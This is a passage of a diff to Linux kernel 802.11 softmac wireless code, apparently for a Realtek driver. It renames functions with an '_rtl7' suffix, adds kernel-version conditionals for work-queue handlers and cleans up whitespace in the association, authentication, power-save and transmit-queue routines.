IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | 